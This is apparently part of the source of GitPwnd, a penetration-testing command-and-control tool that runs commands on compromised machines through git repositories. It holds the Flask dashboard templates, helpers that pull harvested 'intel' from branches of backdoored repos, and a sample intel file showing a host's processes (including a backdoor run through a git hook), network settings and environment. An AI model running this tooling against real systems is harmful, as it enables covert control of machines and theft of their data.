r,l=0;r=a[l++];)r(t)}}},a=n.Token=function(e,t,n,a,r){this.type=e,this.content=t,this.alias=n,this.length=0|(a||"").length,this.greedy=!!r};if(a.stringify=function(e,t,r){if("string"==typeof e)return e;if("Array"===n.util.type(e))return e.map(function(n){return a.stringify(n,t,e)}).join("");var l={type:e.type,content:a.stringify(e.content,t,r),tag:"span",classes:["token",e.type],attributes:{},language:t,parent:r};if("comment"==l.type&&(l.attributes.spellcheck="true"),e.alias){var i="Array"===n.util.type(e.alias)?e.alias:[e.alias];Array.prototype.push.apply(l.classes,i)}n.hooks.run("wrap",l);var o=Object.keys(l.attributes).map(function(e){return e+'="'+(l.attributes[e]||"").replace(/"/g,"&quot;")+'"'}).join(" ");return"<"+l.tag+' class="'+l.classes.join(" ")+'"'+(o?" "+o:"")+">"+l.content+"</"+l.tag+">"},!_self.document)return _self.addEventListener?(_self.addEventListener("message",function(e){var t=JSON.parse(e.data),a=t.language,r=t.code,l=t.immediateClose;_self.postMessage(n.highlight(r,n.languages[a],a)),l&&_self.close()},!1),_self.Prism):_self.Prism;var r=document.currentScript||[].slice.call(document.getElementsByTagName("script")).pop();return r&&(n.filename=r.src,!document.addEventListener||n.manual||r.hasAttribute("data-manual")||("loading"!==document.readyState?window.requestAnimationFrame?window.requestAnimationFrame(n.highlightAll):window.setTimeout(n.highlightAll,16):document.addEventListener("DOMContentLoaded",n.highlightAll))),_self.Prism}();"undefined"!=typeof module&&module.exports&&(module.exports=Prism),"undefined"!=typeof global&&(global.Prism=Prism);
Prism.languages.markup={comment:/<!--[\w\W]*?-->/,prolog:/<\?[\w\W]+?\?>/,doctype:/<!DOCTYPE[\w\W]+?>/i,cdata:/<!\[CDATA\[[\w\W]*?]]>/i,tag:{pattern:/<\/?(?!\d)[^\s>\/=$<]+(?:\s+[^\s>\/=]+(?:=(?:("|')(?:\\\1|\\?(?!\1)[\w\W])*\1|[^\s'">=]+))?)*\s*\/?>/i,inside:{tag:{pattern:/^<\/?[^\s>\/]+/i,inside:{punctuation:/^<\/?/,namespace:/^[^\s>\/:]+:/}},"attr-value":{pattern:/=(?:('|")[\w\W]*?(\1)|[^\s>]+)/i,inside:{punctuation:/[=>"']/}},punctuation:/\/?>/,"attr-name":{pattern:/[^\s>\/]+/,inside:{namespace:/^[^\s>\/:]+:/}}}},entity:/&#?[\da-z]{1,8};/i},Prism.hooks.add("wrap",function(a){"entity"===a.type&&(a.attributes.title=a.content.replace(/&amp;/,"&"))}),Prism.languages.xml=Prism.languages.markup,Prism.languages.html=Prism.languages.markup,Prism.languages.mathml=Prism.languages.markup,Prism.languages.svg=Prism.languages.markup;
Prism.languages.css={comment:/\/\*[\w\W]*?\*\//,atrule:{pattern:/@[\w-]+?.*?(;|(?=\s*\{))/i,inside:{rule:/@[\w-]+/}},url:/url\((?:(["'])(\\(?:\r\n|[\w\W])|(?!\1)[^\\\r\n])*\1|.*?)\)/i,selector:/[^\{\}\s][^\{\};]*?(?=\s*\{)/,string:{pattern:/("|')(\\(?:\r\n|[\w\W])|(?!\1)[^\\\r\n])*\1/,greedy:!0},property:/(\b|\B)[\w-]+(?=\s*:)/i,important:/\B!important\b/i,"function":/[-a-z0-9]+(?=\()/i,punctuation:/[(){};:]/},Prism.languages.css.atrule.inside.rest=Prism.util.clone(Prism.languages.css),Prism.languages.markup&&(Prism.languages.insertBefore("markup","tag",{style:{pattern:/(<style[\w\W]*?>)[\w\W]*?(?=<\/style>)/i,lookbehind:!0,inside:Prism.languages.css,alias:"language-css"}}),Prism.languages.insertBefore("inside","attr-value",{"style-attr":{pattern:/\s*style=("|').*?\1/i,inside:{"attr-name":{pattern:/^\s*style/i,inside:Prism.languages.markup.tag.inside},punctuation:/^\s*=\s*['"]|['"]\s*$/,"attr-value":{pattern:/.+/i,inside:Prism.languages.css}},alias:"language-css"}},Prism.languages.markup.tag));
Prism.languages.clike={comment:[{pattern:/(^|[^\\])\/\*[\w\W]*?\*\//,lookbehind:!0},{pattern:/(^|[^\\:])\/\/.*/,lookbehind:!0}],string:{pattern:/(["'])(\\(?:\r\n|[\s\S])|(?!\1)[^\\\r\n])*\1/,greedy:!0},"class-name":{pattern:/((?:\b(?:class|interface|extends|implements|trait|instanceof|new)\s+)|(?:catch\s+\())[a-z0-9_\.\\]+/i,lookbehind:!0,inside:{punctuation:/(\.|\\)/}},keyword:/\b(if|else|while|do|for|return|in|instanceof|function|new|try|throw|catch|finally|null|break|continue)\b/,"boolean":/\b(true|false)\b/,"function":/[a-z0-9_]+(?=\()/i,number:/\b-?(?:0x[\da-f]+|\d*\.?\d+(?:e[+-]?\d+)?)\b/i,operator:/--?|\+\+?|!=?=?|<=?|>=?|==?=?|&&?|\|\|?|\?|\*|\/|~|\^|%/,punctuation:/[{}[\];(),.:]/};
Prism.languages.javascript=Prism.languages.extend("clike",{keyword:/\b(as|async|await|break|case|catch|class|const|continue|debugger|default|delete|do|else|enum|export|extends|finally|for|from|function|get|if|implements|import|in|instanceof|interface|let|new|null|of|package|private|protected|public|return|set|static|super|switch|this|throw|try|typeof|var|void|while|with|yield)\b/,number:/\b-?(0x[\dA-Fa-f]+|0b[01]+|0o[0-7]+|\d*\.?\d+([Ee][+-]?\d+)?|NaN|Infinity)\b/,"function":/[_$a-zA-Z\xA0-\uFFFF][_$a-zA-Z0-9\xA0-\uFFFF]*(?=\()/i,operator:/--?|\+\+?|!=?=?|<=?|>=?|==?=?|&&?|\|\|?|\?|\*\*?|\/|~|\^|%|\.{3}/}),Prism.languages.insertBefore("javascript","keyword",{regex:{pattern:/(^|[^\/])\/(?!\/)(\[.+?]|\\.|[^\/\\\r\n])+\/[gimyu]{0,5}(?=\s*($|[\r\n,.;})]))/,lookbehind:!0,greedy:!0}}),Prism.languages.insertBefore("javascript","string",{"template-string":{pattern:/`(?:\\\\|\\?[^\\])*?`/,greedy:!0,inside:{interpolation:{pattern:/\$\{[^}]+\}/,inside:{"interpolation-punctuation":{pattern:/^\$\{|\}$/,alias:"punctuation"},rest:Prism.languages.javascript}},string:/[\s\S]+/}}}),Prism.languages.markup&&Prism.languages.insertBefore("markup","tag",{script:{pattern:/(<script[\w\W]*?>)[\w\W]*?(?=<\/script>)/i,lookbehind:!0,inside:Prism.languages.javascript,alias:"language-javascript"}}),Prism.languages.js=Prism.languages.javascript;
Prism.languages.json={property:/"(?:\\.|[^\\"])*"(?=\s*:)/gi,string:/"(?!:)(?:\\.|[^\\"])*"(?!:)/g,number:/\b-?(0x[\dA-Fa-f]+|\d*\.?\d+([Ee][+-]?\d+)?)\b/g,punctuation:/[{}[\]);,]/g,operator:/:/g,"boolean":/\b(true|false)\b/gi,"null":/\bnull\b/gi},Prism.languages.jsonp=Prism.languages.json;


================================================
FILE: server/gitpwnd/templates/index.html
================================================
{% extends "layout.html" %}
{% block body %}
<h2>Home</h2>

<p>Welcome to GitPwnd! GitPwnd is a network penetration tool that provides 
command and control functionality, that is, sending commands to compromised 
machines and receiving their output, using <code>git</code> repos.</p>

<p>For more details, see the <a href="https://www.blackhat.com/us-17/briefings.html#developing-trust-and-gitting-betrayed">BlackHat USA 2017</a>
talk or <a href="https://github.com/nccgroup/gitpwnd">the source on GitHub</a>.</p>

<p>See information extracted from compromised machines by clicking on "Nodes" in the top right.

{% endblock %}


================================================
FILE: server/gitpwnd/templates/layout.html
================================================
<!DOCTYPE html>
<html lang="en">
<head>

<!-- http://flask.pocoo.org/docs/0.12/tutorial/templates/ -->
<title>GitPwnd</title>
<link rel=stylesheet type='text/css' href="{{ url_for('static', filename='css/bootstrap.min.css') }}">
<link rel=stylesheet type='text/css' href="{{ url_for('static', filename='css/bootstrap-reboot.min.css') }}">
<link rel=stylesheet type='text/css' href="{{ url_for('static', filename='css/bootstrap-grid.min.css') }}">
<link rel=stylesheet type='text/css' href="{{ url_for('static', filename='css/prism.css') }}">
<script src="{{url_for('static', filename='js/jquery-3.1.1.min.js')}}"></script>
<script src="{{url_for('static', filename='js/tether.min.js')}}"></script>
<script src="{{url_for('static', filename='js/bootstrap.min.js')}}"></script>
<script src="{{url_for('static', filename='js/prism.js')}}"></script>

{% block html_head %}{% endblock %}
</head>

<body>

<div class=page>
    <!-- More examples of navbar: https://v4-alpha.getbootstrap.com/components/navbar/ -->

    <!-- Borrowed from: https://v4-alpha.getbootstrap.com/examples/narrow-jumbotron/ -->
    <div class="header clearfix">
        <nav>
            <ul class="nav nav-pills float-right">
                <li class="nav-item">
                    <!-- Can add "active" as a class here to make it highlighted nicely
                         TODO: make it so the right icon is highlighted for the current page -->
                    <a class="nav-link" href="{{ url_for('index')}}">Home <span class="sr-only">(current)</span></a>
                </li>
                <li class="nav-item">
                    <a class="nav-link" href="{{ url_for('setup')}}">Setup</a>
                </li>
                <li class="nav-item">
                    <a class="nav-link" href="{{ url_for('nodes')}}">Nodes</a>
                </li>
            </ul>
        </nav>
        <h3 class="">GitPwnd</h3>
    </div>

    {% for message in get_flashed_messages() %}
    <div class=flash>{{ message }}</div>
    {% endfor %}

    </br>

    <div class="container">
    {% block body %}{% endblock %}
    </div>
</div>

</body>
</html>


================================================
FILE: server/gitpwnd/templates/macros.html
================================================
{# Macros for nodes.html #}

{% macro display_intel(intel_name, intel_value, type='string') -%}
<h5>{{intel_name}}</h5>

{% if type == "string" %}
    {{intel_value}}
{% elif type == "json" %}

<pre><code class="language-json">
{{intel_value}}
</code></pre>

{% elif type == "shell_command" %}
<pre><code>
##########
# stdout #
##########
{{intel_value["stdout"]}}

##########
# stderr #
##########
{{intel_value["stderr"]}}
</code></pre>

{% else %}
    <pre>
    {{intel_value}}
    </pre>
{% endif %}
{%- endmacro %}


================================================
FILE: server/gitpwnd/templates/nodes.html
================================================
{% extends "layout.html" %}
{% block body %}

{% import 'macros.html' as macros %}

<h2>Nodes</h2>

This page lists all of the info that has been extracted from any node.

<hr>

<!-- TODO: implement collapsible stuff: http://v4-alpha.getbootstrap.com/components/collapse/ -->

{% for repo_name, node_dict in intel.items() %}
<h2> Repo: <b>{{repo_name}}</b></h2>

  {% for node_name, intel_list in node_dict.items() %}
      <h3>Node: <b>{{node_name}}</b></h3>

      {% for intel_dict in intel_list %}
      <h4>Extracted on: <b>{{intel_dict["time_ran"]["value"]}}</b></h4>
        {% for k,v in intel_dict.items() %}
          {{ macros.display_intel(k, v["value"], v["type"]) }}

        {% endfor %}

      {% endfor %}

  <h5>

  {% endfor %}

{% endfor %}

{% endblock %}


================================================
FILE: server/gitpwnd/templates/setup.html
================================================
{% extends "layout.html" %}
{% block body %}
<h2>Setup</h2>

<p>See <code>gitpwnd/README.md</code> for how to set up GitPwnd.</p>

<p>Essentially, all you have to do is customize <code>config.yml</code> and then run <code>setup.py</code>.</p>
{% endblock %}


================================================
FILE: server/gitpwnd/util/__init__.py
================================================


================================================
FILE: server/gitpwnd/util/crypto_helper.py
================================================
import hmac
import hashlib

from gitpwnd import app

class CryptoHelper:

    @staticmethod
    def verify_signature(payload, secret):
        key = app.config["HOOK_SECRET"].encode('utf-8')
        h = hmac.new(key, digestmod=hashlib.sha1)
        h.update(payload.encode('utf-8'))
        signature = "sha1=" + h.hexdigest()

        return hmac.compare_digest(signature, secret)


================================================
FILE: server/gitpwnd/util/file_helper.py
================================================
import os

class FileHelper:

    @staticmethod
    # Create a directory if it doesn't exist
    def ensure_directory(dirname):
        if not os.path.exists(dirname):
            os.makedirs(dirname)


================================================
FILE: server/gitpwnd/util/git_helper.py
================================================
import os
import json
import git  # gitpython

from gitpwnd import app
from gitpwnd.util.file_helper import FileHelper

class GitHelper:

    # http://stackoverflow.com/questions/12179271/python-classmethod-and-staticmethod-for-beginner
    @staticmethod
    def save_intel(repo_name, branch_name, repo_path, intel_root):
        # TODO: "results.json" is hardcoded in payload.py
        # this should be abstracted to config.yml or something
        intel_file = os.path.join(repo_path, "results.json")
        print("[*] Reading intel file from: %s" % intel_file)
        with open(intel_file, 'r') as f:
            intel_json = json.load(f)

        # Have subdir for each node's intel
        node_id = branch_name
        output_dir = os.path.join(intel_root, repo_name, node_id)
        FileHelper.ensure_directory(output_dir)
        output_file = os.path.join(output_dir, "%s.json" % intel_json["time_ran"].replace(" ", "_"))
        print("[*] Storing intel file to: %s" % output_file)

        with open(output_file, 'w') as f:
            json.dump(intel_json, f)

    @staticmethod
    def import_intel_from_branch(repo_name, branch_name, backdoored_repos_root, intel_root):

        repo_path = os.path.join(backdoored_repos_root, repo_name)
        repo = git.Repo(repo_path)

        # http://gitpython.readthedocs.io/en/stable/tutorial.html#using-git-directly
        # Tried using the other ways of using gitpython but this appears easiest
        g = repo.git

        g.pull() # make sure we have the latest branches
        g.checkout(branch_name)
        g.pull() # make sure we have the latest results.json

        GitHelper.save_intel(repo_name, branch_name, repo_path, intel_root)

        g.checkout("master")


================================================
FILE: server/gitpwnd/util/intel_helper.py
================================================
import json
import os

# Helper class for
class IntelHelper:

    @staticmethod
    def parse_node_dir(node_dir):
        node_results = []

        for intel in os.listdir(node_dir):
            intel_file = os.path.join(node_dir, intel)

            with open(intel_file, 'r') as f:
                node_results.append(json.load(f))
                # parsed_json = json.load(f)
                # node_results[str(parsed_json["time_ran"])] = parsed_json

        return node_results

    @staticmethod
    def parse_repo_dir(repo_dir):
        intel = {}
        # In intel_dir, each subdirectory corresponds to a node_id, and each file in
        # a node's directory is a json file corresponding to what we've extracted.
        #
        # Filename of these individual intel files is currently the time when the extraction happened.

        for subdir in os.listdir(repo_dir):
            node_dir = os.path.join(repo_dir, subdir)
            intel[subdir] = IntelHelper.parse_node_dir(node_dir)

        return intel # this was fun to write

    # Returns:
    # {
    # "repo_name" => {
    #    "node_name" => [ intel_extracted1_json, intel_extracted2_json ],
    #    ...
    #  }
    # }
    @staticmethod
    def parse_all_intel_files(intel_dir):
        results = {}

        for subdir in os.listdir(intel_dir):
            repo_dir = os.path.join(intel_dir, subdir)

            results[subdir] = IntelHelper.parse_repo_dir(repo_dir)

        return results

    @staticmethod
    def json_prettyprint_intel(intel_dict):
        # intel_dict has the structure of the return value from parse_all_intel_files
        results = {}
        for repo_name, node_dict in intel_dict.items():
            tmp = {}
            for node_name, intel_list in node_dict.items():
                tmp[node_name] = [IntelHelper.annotate_intel_dict(x) for x in intel_list]

            results[repo_name] = tmp

        return results

    @staticmethod
    def annotate_intel_dict(intel_dict):
        # Turns each "value" for a node from: {'attr_name' => '<value>'} to
        # {'attr_name' => {'type' => '<type>', 'value' => '<value>'} }
        # where type := ['string' | 'json' | 'shell_command' | 'long_string']
        #   'long_string' = a string that's multiple lines
        #
        results = {}
        for intel_name, intel_value in intel_dict.items():
            intel_name = str(intel_name)

            if type(intel_value) is dict:
                if "stderr" in intel_value:
                    results[intel_name] = {"type": "shell_command",
                                           "value": {
                                               "stderr": str(intel_value["stderr"]),
                                               "stdout": str(intel_value["stdout"])
                                           }}
                else:
                    results[intel_name] = { "type": "json",
                                            "value": json.dumps(intel_value, sort_keys=True, indent=4, separators=(',', ': '))}
            elif intel_value.count("\n") > 0:
                results[intel_name] = {"type": "long_string",
                                       "value": str(intel_value)}
            else:
                results[intel_name] = {"type": "string",
                                       "value": str(intel_value)}

        return results


================================================
FILE: server/requirements.txt
================================================
appnope==0.1.0
backports.shutil-get-terminal-size==1.0.0
click==6.6
decorator==4.0.10
Flask==1.0
ipdb==0.10.1
ipython==5.0.0
ipython-genutils==0.1.0
itsdangerous==0.24
Jinja2>=2.10.1
MarkupSafe==0.23
pathlib2==2.1.0
pexpect==4.2.0
pickleshare==0.7.3
prompt-toolkit==1.0.3
ptyprocess==0.5.1
Pygments==2.7.4
simplegeneric==0.8.1
six==1.10.0
traitlets==4.2.2
wcwidth==0.1.7
Werkzeug==0.15.3
gitpython
Flask-BasicAuth
pyyaml
pyopenssl


================================================
FILE: server/run_ipython.sh
================================================
#!/usr/bin/env python2.7

from IPython import start_ipython
start_ipython()



================================================
FILE: server/server.py
================================================
from gitpwnd import app  # defined in gitpwnd/__init__.py

#################
# Server config #
#################

app.secret_key = "blah-doesn't-matter"

if __name__ == "__main__":
    # Note: that the '0.0.0.0' makes the server publicly accessible, be careful friend
    app.run(host='0.0.0.0', ssl_context='adhoc')


================================================
FILE: server/server_creds.yml.template
================================================
basic_auth_username: "gitpwnd"
basic_auth_password: "$basic_auth_password"
benign_repo_path: "$benign_repo_path"
hook_secret: "$hook_secret"

================================================
FILE: server/tests/sample_intel.json
================================================
{"service_configs": {"syslog": {"stdout": "", "stderr": "cat: /etc/syslog.conf: No such file or directory\n"}, "chttp": {"stdout": "", "stderr": "cat: /etc/chttp.conf: No such file or directory\n"}, "httpd_opt": {"stdout": "", "stderr": "cat: /opt/lampp/etc/httpd.conf: No such file or directory\n"}, "inetd": {"stdout": "", "stderr": "cat: /etc/inetd.conf: No such file or directory\n"}, "httpd": {"stdout": "", "stderr": "cat: /etc/httpd/conf/httpd.conf: No such file or directory\n"}, "cupsd": {"stdout": "", "stderr": "cat: /etc/cups/cupsd.conf: No such file or directory\n"}, "lighthttpd": {"stdout": "", "stderr": "cat: /etc/lighttpd.conf: No such file or directory\n"}, "my": {"stdout": "", "stderr": "cat: /etc/my.conf: No such file or directory\n"}}, "ifconfig": {"stdout": "eth0      Link encap:Ethernet  HWaddr 0A:DD:E0:B4:67:30  \n          inet addr:172.31.23.37  Bcast:172.31.31.255  Mask:255.255.240.0\n          inet6 addr: fe80::8dd:e0ff:feb4:6730/64 Scope:Link\n          UP BROADCAST RUNNING MULTICAST  MTU:9001  Metric:1\n          RX packets:94613 errors:0 dropped:0 overruns:0 frame:0\n          TX packets:95000 errors:0 dropped:0 overruns:0 carrier:0\n          collisions:0 txqueuelen:1000 \n          RX bytes:24677385 (23.5 MiB)  TX bytes:6614665 (6.3 MiB)\n\nlo        Link encap:Local Loopback  \n          inet addr:127.0.0.1  Mask:255.0.0.0\n          inet6 addr: ::1/128 Scope:Host\n          UP LOOPBACK RUNNING  MTU:65536  Metric:1\n          RX packets:26 errors:0 dropped:0 overruns:0 frame:0\n          TX packets:26 errors:0 dropped:0 overruns:0 carrier:0\n          collisions:0 txqueuelen:1 \n          RX bytes:2747 (2.6 KiB)  TX bytes:2747 (2.6 KiB)\n\n", "stderr": ""}, "mac_address": "0A:DD:E0:B4:67:30", "ps_services": {"stdout": "USER       PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND\nroot         1  0.0  0.2  19628  2572 ?        Ss   Jul06   0:00 /sbin/init\nroot         2  0.0  0.0      0     0 ?        S    Jul06   0:00 [kthreadd]\nroot         3  0.0  0.0      0     0 ?        S    Jul06   0:00 [ksoftirqd/0]\nroot         4  0.0  0.0      0     0 ?        S    Jul06   0:00 [kworker/0:0]\nroot         5  0.0  0.0      0     0 ?        S<   Jul06   0:00 [kworker/0:0H]\nroot         7  0.0  0.0      0     0 ?        S    Jul06   0:05 [rcu_sched]\nroot         8  0.0  0.0      0     0 ?        S    Jul06   0:00 [rcu_bh]\nroot         9  0.0  0.0      0     0 ?        S    Jul06   0:00 [migration/0]\nroot        10  0.0  0.0      0     0 ?        S<   Jul06   0:00 [lru-add-drain]\nroot        11  0.0  0.0      0     0 ?        S    Jul06   0:00 [cpuhp/0]\nroot        12  0.0  0.0      0     0 ?        S    Jul06   0:00 [kdevtmpfs]\nroot        13  0.0  0.0      0     0 ?        S<   Jul06   0:00 [netns]\nroot        16  0.0  0.0      0     0 ?        S    Jul06   0:00 [xenwatch]\nroot        17  0.0  0.0      0     0 ?        S    Jul06   0:03 [kworker/u30:2]\nroot        21  0.0  0.0      0     0 ?        S    Jul06   0:00 [xenbus]\nroot       139  0.0  0.0      0     0 ?        S    Jul06   0:00 [khungtaskd]\nroot       140  0.0  0.0      0     0 ?        S    Jul06   0:00 [oom_reaper]\nroot       141  0.0  0.0      0     0 ?        S<   Jul06   0:00 [writeback]\nroot       143  0.0  0.0      0     0 ?        S    Jul06   0:00 [kcompactd0]\nroot       144  0.0  0.0      0     0 ?        SN   Jul06   0:00 [ksmd]\nroot       145  0.0  0.0      0     0 ?        SN   Jul06   0:00 [khugepaged]\nroot       146  0.0  0.0      0     0 ?        S<   Jul06   0:00 [crypto]\nroot       147  0.0  0.0      0     0 ?        S<   Jul06   0:00 [kintegrityd]\nroot       148  0.0  0.0      0     0 ?        S<   Jul06   0:00 [bioset]\nroot       150  0.0  0.0      0     0 ?        S<   Jul06   0:00 [kblockd]\nroot       500  0.0  0.0      0     0 ?        S<   Jul06   0:00 [md]\nroot       627  0.0  0.0      0     0 ?        S    Jul06   0:00 [kswapd0]\nroot       628  0.0  0.0      0     0 ?        S<   Jul06   0:00 [vmstat]\nroot       724  0.0  0.0      0     0 ?        S<   Jul06   0:00 [kthrotld]\nroot       768  0.0  0.0      0     0 ?        S<   Jul06   0:00 [bioset]\njoedev     796  4.0  1.4 204364 14616 pts/0    S+   21:52   0:00 python backdoor.py\njoedev     805  3.0  1.1 189088 11492 pts/0    S+   21:52   0:00 python /home/joedev/.local/lib/python2.7/site-packages/ipdb/.git/hooks/post-merge.sample\njoedev     825  0.0  0.2 117204  2464 pts/0    R+   21:52   0:00 ps aux\nroot      1401  0.0  0.0      0     0 ?        S<   Jul06   0:00 [ata_sff]\nroot      1414  0.0  0.0      0     0 ?        S    Jul06   0:00 [scsi_eh_0]\nroot      1415  0.0  0.0      0     0 ?        S<   Jul06   0:00 [scsi_tmf_0]\nroot      1418  0.0  0.0      0     0 ?        S    Jul06   0:00 [scsi_eh_1]\nroot      1431  0.0  0.0      0     0 ?        S<   Jul06   0:00 [scsi_tmf_1]\nroot      1490  0.0  0.0      0     0 ?        S    Jul06   0:02 [jbd2/xvda1-8]\nroot      1491  0.0  0.0      0     0 ?        S<   Jul06   0:00 [ext4-rsv-conver]\nroot      1532  0.0  0.2  11448  2740 ?        Ss   Jul06   0:00 /sbin/udevd -d\nroot      1655  0.0  0.2  11316  2148 ?        S    Jul06   0:00 /sbin/udevd -d\nroot      1780  0.0  0.0      0     0 ?        S    Jul06   0:45 [kworker/0:2]\nroot      1818  0.0  0.0      0     0 ?        S<   Jul06   0:00 [kworker/0:1H]\nroot      1841  0.0  0.0      0     0 ?        S    Jul06   0:00 [kauditd]\nroot      1856  0.0  0.0 109084   740 ?        Ss   Jul06   0:00 lvmetad\nroot      1865  0.0  0.0  27140   200 ?        Ss   Jul06   0:00 lvmpolld\nroot      1917  0.0  0.0      0     0 ?        S<   Jul06   0:00 [ipv6_addrconf]\nroot      2064  0.0  0.2   9356  2148 ?        Ss   Jul06   0:00 /sbin/dhclient -q -lf /var/lib/dhclient/dhclient-eth0.leases -pf /var/run/dhclient-eth0.pid eth0\nroot      2188  0.0  0.1   9356  1860 ?        Ss   Jul06   0:02 /sbin/dhclient -6 -nw -lf /var/lib/dhclient/dhclient6-eth0.leases -pf /var/run/dhclient6-eth0.pid eth0\nroot      2235  0.0  0.2  52948  2208 ?        S<sl Jul06   0:00 auditd\nroot      2256  0.0  0.2 247456  3032 ?        Sl   Jul06   0:01 /sbin/rsyslogd -i /var/run/syslogd.pid -c 5\nroot      2278  0.0  0.0   4372    88 ?        Ss   Jul06   0:24 rngd --no-tpm=1 --quiet\nrpc       2296  0.0  0.2  35308  2300 ?        Ss   Jul06   0:01 rpcbind\nrpcuser   2317  0.0  0.3  39876  3304 ?        Ss   Jul06   0:00 rpc.statd\ndbus      2348  0.0  0.0  21788   228 ?        Ss   Jul06   0:00 dbus-daemon --system\nroot      2383  0.0  0.1   4340  1380 ?        Ss   Jul06   0:00 /usr/sbin/acpid\nroot      2530  0.0  0.2  79984  2660 ?        Ss   Jul06   0:00 /usr/sbin/sshd\nntp       2540  0.0  0.4  29288  4356 ?        Ss   Jul06   0:01 ntpd -u ntp:ntp -p /var/run/ntpd.pid -g\nroot      2560  0.0  0.5  89024  5120 ?        Ss   Jul06   0:33 sendmail: accepting connections\nsmmsp     2569  0.0  0.4  80488  4172 ?        Ss   Jul06   0:00 sendmail: Queue runner@01:00:00 for /var/spool/clientmqueue\nroot      2581  0.0  0.2 121592  2384 ?        Ss   Jul06   0:03 crond\nroot      2595  0.0  0.0  19132   164 ?        Ss   Jul06   0:00 /usr/sbin/atd\nroot      2628  0.0  0.1   6452  1620 ttyS0    Ss+  Jul06   0:00 /sbin/agetty ttyS0 9600 vt100-nav\nroot      2631  0.0  0.1   4304  1464 tty1     Ss+  Jul06   0:00 /sbin/mingetty /dev/tty1\nroot      2634  0.0  0.1   4304  1500 tty2     Ss+  Jul06   0:00 /sbin/mingetty /dev/tty2\nroot      2637  0.0  0.1   4304  1452 tty3     Ss+  Jul06   0:00 /sbin/mingetty /dev/tty3\nroot      2639  0.0  0.1   4304  1440 tty4     Ss+  Jul06   0:00 /sbin/mingetty /dev/tty4\nroot      2641  0.0  0.1   4304  1412 tty5     Ss+  Jul06   0:00 /sbin/mingetty /dev/tty5\nroot      2643  0.0  0.1  10868  1704 ?        S    Jul06   0:00 /sbin/udevd -d\nroot      2644  0.0  0.1   4304  1492 tty6     Ss+  Jul06   0:00 /sbin/mingetty /dev/tty6\nroot     32021  0.0  0.6 119948  6876 ?        Ss   18:10   0:00 sshd: ec2-user [priv]\nec2-user 32023  0.0  0.3 119948  3872 ?        S    18:10   0:00 sshd: ec2-user@pts/0\nec2-user 32024  0.0  0.3 115348  3416 pts/0    Ss   18:10   0:00 -bash\nroot     32236  0.0  0.4 186192  4528 pts/0    S    18:50   0:00 sudo su joedev\nroot     32237  0.0  0.3 160284  3076 pts/0    S    18:50   0:00 su joedev\njoedev   32238  0.0  0.3 115348  3396 pts/0    S    18:50   0:00 bash\nroot     32262  0.0  0.0      0     0 ?        S    18:50   0:00 [kworker/u30:1]\n", "stderr": ""}, "node_id": "f839ba57-6dcf-4002-b3bf-13166cc33fa8", "python_version": {"major": 2, "releaselevel": "final", "micro": 12, "minor": 7}, "env": {"AWS_CLOUDWATCH_HOME": "/opt/aws/apitools/mon", "LANG": "en_US.UTF-8", "LESS_TERMCAP_se": "\u001b[0m", "AWS_AUTO_SCALING_HOME": "/opt/aws/apitools/as", "SUDO_USER": "ec2-user", "TERM": "xterm-256color", "LESS_TERMCAP_md": "\u001b[01;38;5;208m", "USER": "joedev", "JAVA_HOME": "/usr/lib/jvm/jre", "LC_CTYPE": "en_US.UTF-8", "EC2_AMITOOL_HOME": "/opt/aws/amitools/ec2", "AWS_ELB_HOME": "/opt/aws/apitools/elb", "_": "/home/joedev/.local/lib/python2.7/site-packages/ipdb/.git/hooks/post-merge.sample", "LESS_TERMCAP_mb": "\u001b[01;31m", "HOSTNAME": "ip-172-31-23-37", "EC2_HOME": "/opt/aws/apitools/ec2", "SUDO_GID": "500", "SHLVL": "2", "AWS_PATH": "/opt/aws", "PWD": "/home/joedev/code/disruptr", "HISTSIZE": "1000", "LESSOPEN": "||/usr/bin/lesspipe.sh %s", "LESS_TERMCAP_us": "\u001b[04;38;5;111m", "LESS_TERMCAP_ue": "\u001b[0m", "MAIL": "/var/spool/mail/ec2-user", "SHELL": "/bin/bash", "HOME": "/home/joedev", "SUDO_UID": "500", "SUDO_COMMAND": "/bin/su joedev", "PATH": "/sbin:/bin:/usr/sbin:/usr/bin:/opt/aws/bin", "LOGNAME": "joedev", "LESS_TERMCAP_me": "\u001b[0m", "LS_COLORS": "rs=0:di=38;5;27:ln=38;5;51:mh=44;38;5;15:pi=40;38;5;11:so=38;5;13:do=38;5;5:bd=48;5;232;38;5;11:cd=48;5;232;38;5;3:or=48;5;232;38;5;9:mi=05;48;5;232;38;5;15:su=48;5;196;38;5;15:sg=48;5;11;38;5;16:ca=48;5;196;38;5;226:tw=48;5;10;38;5;16:ow=48;5;10;38;5;21:st=48;5;21;38;5;15:ex=38;5;34:*.tar=38;5;9:*.tgz=38;5;9:*.arc=38;5;9:*.arj=38;5;9:*.taz=38;5;9:*.lha=38;5;9:*.lz4=38;5;9:*.lzh=38;5;9:*.lzma=38;5;9:*.tlz=38;5;9:*.txz=38;5;9:*.tzo=38;5;9:*.t7z=38;5;9:*.zip=38;5;9:*.z=38;5;9:*.Z=38;5;9:*.dz=38;5;9:*.gz=38;5;9:*.lrz=38;5;9:*.lz=38;5;9:*.lzo=38;5;9:*.xz=38;5;9:*.bz2=38;5;9:*.bz=38;5;9:*.tbz=38;5;9:*.tbz2=38;5;9:*.tz=38;5;9:*.deb=38;5;9:*.rpm=38;5;9:*.jar=38;5;9:*.war=38;5;9:*.ear=38;5;9:*.sar=38;5;9:*.rar=38;5;9:*.alz=38;5;9:*.ace=38;5;9:*.zoo=38;5;9:*.cpio=38;5;9:*.7z=38;5;9:*.rz=38;5;9:*.cab=38;5;9:*.jpg=38;5;13:*.jpeg=38;5;13:*.gif=38;5;13:*.bmp=38;5;13:*.pbm=38;5;13:*.pgm=38;5;13:*.ppm=38;5;13:*.tga=38;5;13:*.xbm=38;5;13:*.xpm=38;5;13:*.tif=38;5;13:*.tiff=38;5;13:*.png=38;5;13:*.svg=38;5;13:*.svgz=38;5;13:*.mng=38;5;13:*.pcx=38;5;13:*.mov=38;5;13:*.mpg=38;5;13:*.mpeg=38;5;13:*.m2v=38;5;13:*.mkv=38;5;13:*.webm=38;5;13:*.ogm=38;5;13:*.mp4=38;5;13:*.m4v=38;5;13:*.mp4v=38;5;13:*.vob=38;5;13:*.qt=38;5;13:*.nuv=38;5;13:*.wmv=38;5;13:*.asf=38;5;13:*.rm=38;5;13:*.rmvb=38;5;13:*.flc=38;5;13:*.avi=38;5;13:*.fli=38;5;13:*.flv=38;5;13:*.gl=38;5;13:*.dl=38;5;13:*.xcf=38;5;13:*.xwd=38;5;13:*.yuv=38;5;13:*.cgm=38;5;13:*.emf=38;5;13:*.axv=38;5;13:*.anx=38;5;13:*.ogv=38;5;13:*.ogx=38;5;13: